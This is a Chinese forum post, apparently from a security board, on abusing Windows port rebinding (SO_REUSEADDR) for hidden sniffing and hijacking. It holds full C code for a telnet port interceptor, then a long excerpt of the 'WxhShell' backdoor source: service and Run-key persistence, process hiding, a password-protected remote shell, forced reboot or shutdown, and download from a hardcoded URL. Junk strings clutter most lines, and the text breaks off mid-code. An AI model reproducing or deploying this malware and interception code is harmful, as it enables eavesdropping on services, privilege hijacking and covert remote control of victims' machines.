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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: J y0TVjA  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ny+_&l^R~(  
3- 4jSN\  
  saddr.sin_family = AF_INET; .h;X5q1  
VV=6v;u`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )mRKIM}*W  
C= PV-Ul+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); K|{&SU_m  
 2dBjc{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Y t0s  
~1.~4~um  
  这意味着什么?意味着可以进行如下的攻击: 29h_oNO  
H6-{(: *<  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <fcw:Ae  
Ty"=3AvRLV  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =`BPGfC b  
\G &q[8F\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ` oXL  
b 'yW+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  rZ7)sE5L  
Zl`sY5{1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 "0l7%@z*)q  
qy~@cPT  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 H3" D$Nv  
Y@M l}43  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 rlVo}kc7:  
i"C?6R  
  #include ^Dhu8C(  
  #include G,b1u"  
  #include e.^Y4(  
  #include    $;%dQ!7*  
  DWORD WINAPI ClientThread(LPVOID lpParam);   QCk(qlN'h9  
  int main() Z8_Q Kw>  
  { x<e-%HB*-  
  WORD wVersionRequested; .TWX,#  
  DWORD ret; _79 ?,U]  
  WSADATA wsaData; Y=N; Bj  
  BOOL val; #o-CG PE  
  SOCKADDR_IN saddr; ) _O 6_  
  SOCKADDR_IN scaddr; jF%[.n[BU  
  int err; LC:bHM, e  
  SOCKET s; M 4TFWOC1  
  SOCKET sc; PyfOBse}r  
  int caddsize; `` mi9E  
  HANDLE mt; t#[u X?  
  DWORD tid;   lw"5p)aB  
  wVersionRequested = MAKEWORD( 2, 2 ); A4uDuB;;ZQ  
  err = WSAStartup( wVersionRequested, &wsaData ); l<mEGKB#  
  if ( err != 0 ) { k@= LR  
  printf("error!WSAStartup failed!\n"); P(BV J_n  
  return -1; r=ds'n"  
  } w~(x*R}  
  saddr.sin_family = AF_INET; ew cgg  
   kaj6C_k|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ';bovh@*  
ZM%z"hO9R  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,0Y5O?pu\  
  saddr.sin_port = htons(23); lhA<wV1-9G  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b,#E.%SLw  
  { :+>:>$ao  
  printf("error!socket failed!\n"); Tse Pdkk  
  return -1; +t XOP|X  
  } O/=i'0X v  
  val = TRUE; |O]oX[~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 cAE.I$T(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _(8HK  
  { xBC:%kG~#  
  printf("error!setsockopt failed!\n"); 8\^[@9g3\3  
  return -1; o[!g,Gmoh  
  } ~xg1mS9d  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; mTzzF9n"Y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "kjjq~l  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 hFjXgpz5  
F W# S.<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Pl }dA  
  { -vfV;+3  
  ret=GetLastError(); E5M*Gs  
  printf("error!bind failed!\n"); iM Xl}3  
  return -1; ntSPHK|'  
  } 1& k_&o  
  listen(s,2); khb Gyg%  
  while(1) g'`J'6Pn  
  { rY>{L6d  
  caddsize = sizeof(scaddr); t$=0  C  
  //接受连接请求 h(I~HZ[K&T  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); yVxR||e  
  if(sc!=INVALID_SOCKET) zy#E qv  
  { 4\?I4|{pC  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (0qdU;  
  if(mt==NULL) O4&/g-  
  { 3Nh;^  
  printf("Thread Creat Failed!\n"); 48n>[ FMSR  
  break; eN%Ks  
  } Fa9]!bW  
  } T"Wq:  
  CloseHandle(mt); #cQ[ vE)y  
  }  { Lt \4h  
  closesocket(s); #4''Cs  
  WSACleanup(); +gOCl*L  
  return 0; 8*)zoT*A  
  }   h2KXW}y"4  
  DWORD WINAPI ClientThread(LPVOID lpParam) nrA}36E  
  { ?/{ qRz'C<  
  SOCKET ss = (SOCKET)lpParam; o"v> BhpC  
  SOCKET sc; ?}B9=R$Pi  
  unsigned char buf[4096]; @yB!?x  
  SOCKADDR_IN saddr; mYb8   
  long num; 5in6Y5ckj  
  DWORD val; Uz H)fB  
  DWORD ret; .d9VV&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 &tQ,2RT  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,I@4)RSAH|  
  saddr.sin_family = AF_INET; mb?DnP,z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >9=Y(`  
  saddr.sin_port = htons(23); &.o}(e:]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !?ayZ5G([  
  { =X>3C"]  
  printf("error!socket failed!\n"); 4I^6[{_  
  return -1; S,3e|-&$  
  } rg_-gZl8&z  
  val = 100; '4FS.0*_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) j>?H^fB  
  { JO7IzD\  
  ret = GetLastError(); 0} liK  
  return -1; Fm,A<+l@u  
  } 9|Jmj @9  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .K}u`v T  
  { o|l)oc6{  
  ret = GetLastError(); HC4ad0Gs+{  
  return -1; Lvv`_  
  } x;Dr40wD@y  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <pYGcVB9V  
  { ?8! 4!P%n  
  printf("error!socket connect failed!\n"); z=>]E 1'RL  
  closesocket(sc); ID'@}69.S  
  closesocket(ss); uTP=kgYqJ  
  return -1; >S5D-)VX  
  } -hp,O?PM  
  while(1) *qY`MW  
  { og. dYs7W4  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2d<ma*2n(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^;W,:y&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 fn#b3ee  
  num = recv(ss,buf,4096,0); cy^6g? ew  
  if(num>0) pK *-In  
  send(sc,buf,num,0); fgn*3 pg  
  else if(num==0) kt X(\Hf!  
  break; 9N=Dls  
  num = recv(sc,buf,4096,0); X_Y$-I$qd  
  if(num>0) 4(u+YW GX  
  send(ss,buf,num,0); X[NsdD?w1+  
  else if(num==0) kfm8F8sxl  
  break; jW2z3.w  
  } pl q$t/.U;  
  closesocket(ss); WF*2^iWJ  
  closesocket(sc); OYG8%L  
  return 0 ; +Z)||MR"  
  } W1r-uR  
,a^_ ~(C  
_jU6[y|XLh  
========================================================== cQgmRHZ]  
q+gqa<kM  
下边附上一个代码,,WXhSHELL )u\"xxcV  
_u{D#mmO  
========================================================== RG:ct{i  
!ybEv | =  
#include "stdafx.h" |4X:>Ut]  
K.l?R#G`,F  
#include <stdio.h> *1;<xeVD  
#include <string.h> lOd[8|/  
#include <windows.h> N ?V5gi  
#include <winsock2.h> ^>g+:?x  
#include <winsvc.h> y<)Lr}gP  
#include <urlmon.h> K Qub%`n  
a5Xr"-  
#pragma comment (lib, "Ws2_32.lib") ET=q 1t8  
#pragma comment (lib, "urlmon.lib") !c(B^E  
7:M%w'oR  
#define MAX_USER   100 // 最大客户端连接数 qx0J}6+NlU  
#define BUF_SOCK   200 // sock buffer I \ vu?$w  
#define KEY_BUFF   255 // 输入 buffer 6G@_!i*2F  
"-ZuH   
#define REBOOT     0   // 重启 v`y{l>r,  
#define SHUTDOWN   1   // 关机 Uy_`=JZ  
sHQe0"Eo  
#define DEF_PORT   5000 // 监听端口 r^*,eF  
{_^sR}%]F  
#define REG_LEN     16   // 注册表键长度 hs<7(+a  
#define SVC_LEN     80   // NT服务名长度 n2(~r 'r)  
mqq~&nI  
// 从dll定义API [uAfE3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a}jaxGy  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tJHzhH)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `jP\*k`~]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .~W7{SY[  
!WVF{L,/I  
// wxhshell配置信息 q3scz  
struct WSCFG { pN*>A^  
  int ws_port;         // 监听端口 %@H;6   
  char ws_passstr[REG_LEN]; // 口令 4^AE;= Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no "=yaeEp  
  char ws_regname[REG_LEN]; // 注册表键名 v,+2CVdW  
  char ws_svcname[REG_LEN]; // 服务名 ,p$1n;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >K50 h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !^l<jrM  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >-y'N.l^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ) I-8 .  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .]v8W51Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lpSM p  
<FGNV+?%e  
}; +Icg;m{  
L2Gm0 v  
// default Wxhshell configuration @#8F5G#  
struct WSCFG wscfg={DEF_PORT, K +w3YA  
    "xuhuanlingzhe", }p8a'3@Z  
    1, m{R`1cN=Hg  
    "Wxhshell", g ~10K^  
    "Wxhshell", p_P'2mf  
            "WxhShell Service", m:p1O3[R  
    "Wrsky Windows CmdShell Service", Qs;bVlp!H  
    "Please Input Your Password: ", !Otyu6&  
  1, #[I`VA\x  
  "http://www.wrsky.com/wxhshell.exe", }4eSB  
  "Wxhshell.exe" +sgishqn9  
    }; gR~XkU  
F5+f?B~?R?  
// 消息定义模块 n6L}#aZG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; SwSBQq%h]M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; G+\2Aj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :j?Lil%R  
char *msg_ws_ext="\n\rExit."; HlI*an  
char *msg_ws_end="\n\rQuit."; c1MALgK~}\  
char *msg_ws_boot="\n\rReboot..."; 5OKbW!  
char *msg_ws_poff="\n\rShutdown..."; q'c'rN^  
char *msg_ws_down="\n\rSave to "; pmQ9i A@=  
IU Dp5MIuR  
char *msg_ws_err="\n\rErr!"; XL} oYL]}&  
char *msg_ws_ok="\n\rOK!"; +uv]dD *i  
70|Cn(p_  
char ExeFile[MAX_PATH]; u^iK?S#Ci8  
int nUser = 0; BS+N   
HANDLE handles[MAX_USER]; ;znIY&Z  
int OsIsNt; tM{t'WU  
 eCk}B$ 2  
SERVICE_STATUS       serviceStatus; NsWyxcty  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; iSIj ?.  
g%RL9-z  
// 函数声明 ";s?#c  
int Install(void); <K4'|HU/  
int Uninstall(void); @uT\.W:Q2  
int DownloadFile(char *sURL, SOCKET wsh); 4HkOg)a  
int Boot(int flag); Cd6^aFoK!  
void HideProc(void); Q> @0'y=s  
int GetOsVer(void); a{Tv#P*!  
int Wxhshell(SOCKET wsl); 1_GUi  
void TalkWithClient(void *cs); MlS<txFPS  
int CmdShell(SOCKET sock); (y#8z6\dx  
int StartFromService(void); uF@Q8 7G  
int StartWxhshell(LPSTR lpCmdLine); 8~rD#8`6j  
tR0o6s@v/<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A9$q;8= <  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qBKIl= ne  
ETjlq]@j  
// 数据结构和表定义 0P%(4t$pd  
SERVICE_TABLE_ENTRY DispatchTable[] = 9<\wa/#  
{ >KM<P[BRd  
{wscfg.ws_svcname, NTServiceMain}, AP/5, M<  
{NULL, NULL} N55;oj_K  
}; Ngh9+b6[  
Q@ /wn  
// 自我安装 !cp ,OrO\  
int Install(void) -b r/  
{ e[w)U{|40  
  char svExeFile[MAX_PATH]; ]#R;%L  
  HKEY key; 'S@C,x%2,  
  strcpy(svExeFile,ExeFile); +a"A svw2  
EiIbp4*e  
// 如果是win9x系统,修改注册表设为自启动 ,C(")?4aJ  
if(!OsIsNt) { &``;1/J*W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _YO` x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3vNoD  
  RegCloseKey(key); qK;n>BTe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F~{yqY5]n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }_gCWz-5?  
  RegCloseKey(key); a|T P2m  
  return 0; A&F@+X6@  
    } +a nNpy  
  } &7|=8Z[o  
} sT'wps2  
else { ?&"cI5-  
\7*9l%  
// 如果是NT以上系统,安装为系统服务 f>-OwL($P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 73 D|gF*  
if (schSCManager!=0) QjF.U8  
{ OHM.xw*?.  
  SC_HANDLE schService = CreateService &{/ `Q ,  
  ( p>|;fS\`@}  
  schSCManager, B.0(}@  
  wscfg.ws_svcname, yxLGseD  
  wscfg.ws_svcdisp, KzI$GU3  
  SERVICE_ALL_ACCESS, '1^\^)&q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U#d&#",s  
  SERVICE_AUTO_START, t<~riFs]  
  SERVICE_ERROR_NORMAL, ~U ?cL-`n  
  svExeFile, 'zi5ihiT  
  NULL, )5Gzk&|  
  NULL, 6_`x^[r  
  NULL, GT<Y]Dk  
  NULL, H@,jNIh~h  
  NULL Gvl-q1PVC  
  ); X2q$i  
  if (schService!=0) /|`;|0/2  
  { ZMy7z|  
  CloseServiceHandle(schService); jO<K0c c  
  CloseServiceHandle(schSCManager); BLuILE:$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s1:UCv-%  
  strcat(svExeFile,wscfg.ws_svcname); $zyY"yWRZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { < yE(p  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0[);v/@Ho  
  RegCloseKey(key); s|%mGt &L  
  return 0; qW $IpuK  
    } Y'%sA~g  
  } AX<TkS@wjb  
  CloseServiceHandle(schSCManager); }!lLA4XRr  
} [$OD+@~A2  
} 2 ,E&}a|;b  
Pm%ZzU  
return 1; h,rGa\X~0  
} kIP~XV~  
6wIv7@Y  
// 自我卸载 kHm1aE<  
int Uninstall(void) 9\R:J"X  
{ 2AzF@Pi^z  
  HKEY key; .LN&EfMenF  
+, p  
if(!OsIsNt) { ShF ][v1L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'O \YL(j_e  
  RegDeleteValue(key,wscfg.ws_regname); xHZx5GJp9  
  RegCloseKey(key); :-ax5,J>q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vn6/H8  
  RegDeleteValue(key,wscfg.ws_regname); 5i83(>p3]e  
  RegCloseKey(key); 2W$c%~j$2  
  return 0; fw|r{#d  
  } XDz![s  
} {jJUS>  
} Ep.,2H  
else { #xm<|s   
Cdot l$'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9IN =m 5  
if (schSCManager!=0)  ^qy$M>  
{ M!;H3*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2RT9Q!BX{  
  if (schService!=0)  Pb+oV  
  { "7l p|0I  
  if(DeleteService(schService)!=0) { * j:  
  CloseServiceHandle(schService);  &5O  
  CloseServiceHandle(schSCManager); hy3[MOD$G  
  return 0; T5Sa9\`>  
  } [/6$P[  
  CloseServiceHandle(schService); eP(%+[g  
  } 'g|%Ro/  
  CloseServiceHandle(schSCManager); gE`G3kgn{  
} Ej F<lw  
} lk 1c 2  
05=O5<l  
return 1; ~pX&>v\T  
} 0$":W  
](x4q  
// 从指定url下载文件 G5kM0vs6L  
int DownloadFile(char *sURL, SOCKET wsh) nw Or  
{ Op~sR^ez  
  HRESULT hr; x,5$VLs\+  
char seps[]= "/"; b+[9) B)a?  
char *token; />FrMz8;(  
char *file; V`pTl3  
char myURL[MAX_PATH]; *<Fz1~%*  
char myFILE[MAX_PATH]; B[S.6 "/H  
7iLm_#M  
strcpy(myURL,sURL); o-lb/=K+  
  token=strtok(myURL,seps); }Xrs"u,  
  while(token!=NULL) OMvwmm  
  { os/~6  
    file=token; P@PZm  
  token=strtok(NULL,seps); %+Z 0 $Q  
  } (+>+@G~o  
eW1$;.^  
GetCurrentDirectory(MAX_PATH,myFILE); {5#P1jlT  
strcat(myFILE, "\\"); dY;^JPT  
strcat(myFILE, file); `[jQn;  
  send(wsh,myFILE,strlen(myFILE),0); dV<M$+;s]  
send(wsh,"...",3,0); InH R> ,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cx_[Y  
  if(hr==S_OK) =c(_$|0  
return 0; 4CW/  
else U#Wc!QN-t  
return 1; J= ia  
x +q"%9.c  
} ~V`D@-VND  
9RE{,mos2v  
// 系统电源模块 "SNsOf  
int Boot(int flag) HvKueTQ  
{ XG<^j}H{}  
  HANDLE hToken; HdJLD+k/  
  TOKEN_PRIVILEGES tkp; -,TBUWg  
wTf0O@``6H  
  if(OsIsNt) { UacN'Rat  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E:D1ZV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SV<*qz  
    tkp.PrivilegeCount = 1; hIXGfvUy  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QTz{ZNi!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U4 m[@wF  
if(flag==REBOOT) { &VY;Al  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9(|[okB  
  return 0; kZU8s'C  
} E&{*{u4  
else { Zv7@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V*=cNj  
  return 0; yD#w @yG  
} { )'D<:T  
  } d#ya"e>  
  else { KjZ^\lq'  
if(flag==REBOOT) { ~9kvC&/{[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) CBnD)1b\  
  return 0; 6KnD(im  
} Ook3B  
else { 9`4h"9dO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,\+tvrR4X  
  return 0; Gxi;h=J2)>  
} JEdtj1v{O  
} (PsA[>F  
\CUxGyu  
return 1; fOE:~3Q  
} i#kRVua/  
66p_d'U  
// win9x进程隐藏模块 D'fP2?3FK  
void HideProc(void) g#9w5Q  
{ -fL|e/   
J:?t.c~$o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^nbze  
  if ( hKernel != NULL ) s.=)p"pTd  
  { iUS379wM}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); v 0rX/ mj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L9Fx Lw41  
    FreeLibrary(hKernel); "'t<R}t!A  
  } p\+#`] Q7}  
/D1Bf:'(  
return; gW/H#T,  
} ,=$yvZs4[]  
S~(4q#Dt-  
// 获取操作系统版本 &U4]hawbOU  
int GetOsVer(void) <Cg;l<$`b  
{ ]DmqhK`  
  OSVERSIONINFO winfo; Qbl6~>T  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W.MJyem  
  GetVersionEx(&winfo); g+ 2SB5 2D  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) R3?~+ y&  
  return 1; Vq9hAD|k  
  else o&(%:|  
  return 0; ni2H~{]z  
} 82O`<Ci  
~gI%   
// 客户端句柄模块 w2+RX-6Ie  
int Wxhshell(SOCKET wsl) gvoK  
{ *9PS2*n  
  SOCKET wsh; hXz"}X n  
  struct sockaddr_in client; 9?,n+  
  DWORD myID; F<V zVEx  
}{K)5k@  
  while(nUser<MAX_USER) @'C)ss=kj  
{ h@{@OAu?  
  int nSize=sizeof(client); a.%]5%O;t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }Q\yem  
  if(wsh==INVALID_SOCKET) return 1; WCR+ZXI?1  
;Jx ^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); OR?8F5o?p  
if(handles[nUser]==0) ]\#RsVX  
  closesocket(wsh); ni~45WX3  
else {/Q pEd>3+  
  nUser++; ?a}eRA7  
  } xZ;';}&pj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X\1D[n:  
ngm7Vs  
  return 0; {F@;45)o  
} |I OTW=>  
Rx`0VQ  
// 关闭 socket QO#ZQ~  
void CloseIt(SOCKET wsh) rBr28_i   
{ Y Nq<%i!>  
closesocket(wsh); &v 5yo}s  
nUser--; y:2o-SJn  
ExitThread(0); q8kt_&Ij  
} !Id F6 %  
cq[}>5*k  
// 客户端请求句柄 R`1$z8$  
void TalkWithClient(void *cs) zR{TWk]  
{ gvcT_'  
nF=Ig-NX^  
  SOCKET wsh=(SOCKET)cs; 4a!L/m *  
  char pwd[SVC_LEN]; jU4Ir {f  
  char cmd[KEY_BUFF]; >@oO7<WB  
char chr[1]; S?Eg   
int i,j; 8De `.!Gg  
o,aI<5"  
  while (nUser < MAX_USER) { e;!<3b  
NoKYHN^*w  
if(wscfg.ws_passstr) { @kqy!5)K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =A!I-@]q<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 57[O)5u.+  
  //ZeroMemory(pwd,KEY_BUFF); OcSLRN?t  
      i=0; 6?,r d   
  while(i<SVC_LEN) { q5HHMHB  
OmoY] 8N}  
  // 设置超时 Q'A->I<;_s  
  fd_set FdRead; (1Kh9w:^"  
  struct timeval TimeOut; M2oKLRt)L  
  FD_ZERO(&FdRead); c!841~p(Q  
  FD_SET(wsh,&FdRead); /,:32H  
  TimeOut.tv_sec=8; ?^"S%Vb  
  TimeOut.tv_usec=0; 7gJy xQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0;XnNz3&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /1OhW>W3eH  
c69C=WQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UyF]gO  
  pwd=chr[0]; ]\_4r)cN<n  
  if(chr[0]==0xd || chr[0]==0xa) { .0a$E`V=D  
  pwd=0; DH 9?~|  
  break; KRXe\Sx  
  } g8qN+Gg  
  i++; fqF1 - %  
    } Y: byb68  
eA+6-'qN  
  // 如果是非法用户,关闭 socket 0&mz'xra  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Zmp ^!|=X!  
} V'6%G:?0a  
G7),!Qol  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5k\61(*s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kwyvd`J8  
^T<<F}@q  
while(1) { #K4wO!d  
54'z"S:W  
  ZeroMemory(cmd,KEY_BUFF); 3gGF?0o  
Fe/*U4xU  
      // 自动支持客户端 telnet标准   FJ2^0s/"  
  j=0; 2^:5aABQ  
  while(j<KEY_BUFF) { Zd5fr c$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |H |ewVUY  
  cmd[j]=chr[0]; sXfx[)T<  
  if(chr[0]==0xa || chr[0]==0xd) { k*n5+[U^tP  
  cmd[j]=0; =XWi+')  
  break; =nY*,Xu<  
  } @0)bY*njj  
  j++; 2smLv1w@  
    } : 0%V:B  
U,+=>ns>  
  // 下载文件 CF$^we  
  if(strstr(cmd,"http://")) { y\@XW*_?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0<P -`|X  
  if(DownloadFile(cmd,wsh)) Q}m)Q('Rk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K}wUM^  
  else \ (X~Z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z-/ E$j  
  } 43(+3$VM7  
  else { N}^\$sVu_  
G,$jU9 f  
    switch(cmd[0]) { C"YM"9JSJ  
  .IG(Y!cB  
  // 帮助 mk0rAN  
  case '?': { e <IT2tv>u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); WO '33Q(  
    break; mT)iN`$Y@  
  } C$?dkmIt  
  // 安装 /gPn2e;  
  case 'i': { 3 D+dM0wM  
    if(Install()) 8-po|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PR.?"$!D{  
    else %+`$Lb?{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8Y&(o-R0  
    break; %*Y:Rm'>  
    } NB>fr#pb  
  // 卸载 q,+d\-+  
  case 'r': { N.3M~0M*  
    if(Uninstall()) }9@ ,EEhg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }t]CDa_n  
    else s K s D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2AU_<Hr6  
    break; ^S[Mg6J  
    } PiM@iS  
  // 显示 wxhshell 所在路径 r0hu?3u1?  
  case 'p': { N|8TE7- F|  
    char svExeFile[MAX_PATH]; (uRAK  
    strcpy(svExeFile,"\n\r"); {HQ?  
      strcat(svExeFile,ExeFile); ]X{LZYk  
        send(wsh,svExeFile,strlen(svExeFile),0); [['un\~r~  
    break; s_VP(Fe@K  
    } )Ibp%'H  
  // 重启 EAx@a%  
  case 'b': { rbs:qLa%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,qt9S0 QS  
    if(Boot(REBOOT)) ,AWN *OS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Joe k4t&0<  
    else { 5H>[@_u+:  
    closesocket(wsh); l*/I ; a$  
    ExitThread(0); @@_f''f$  
    } @Vc*JEW  
    break; H}X3nl\]  
    } {bl^O  
  // 关机 rFdovfb   
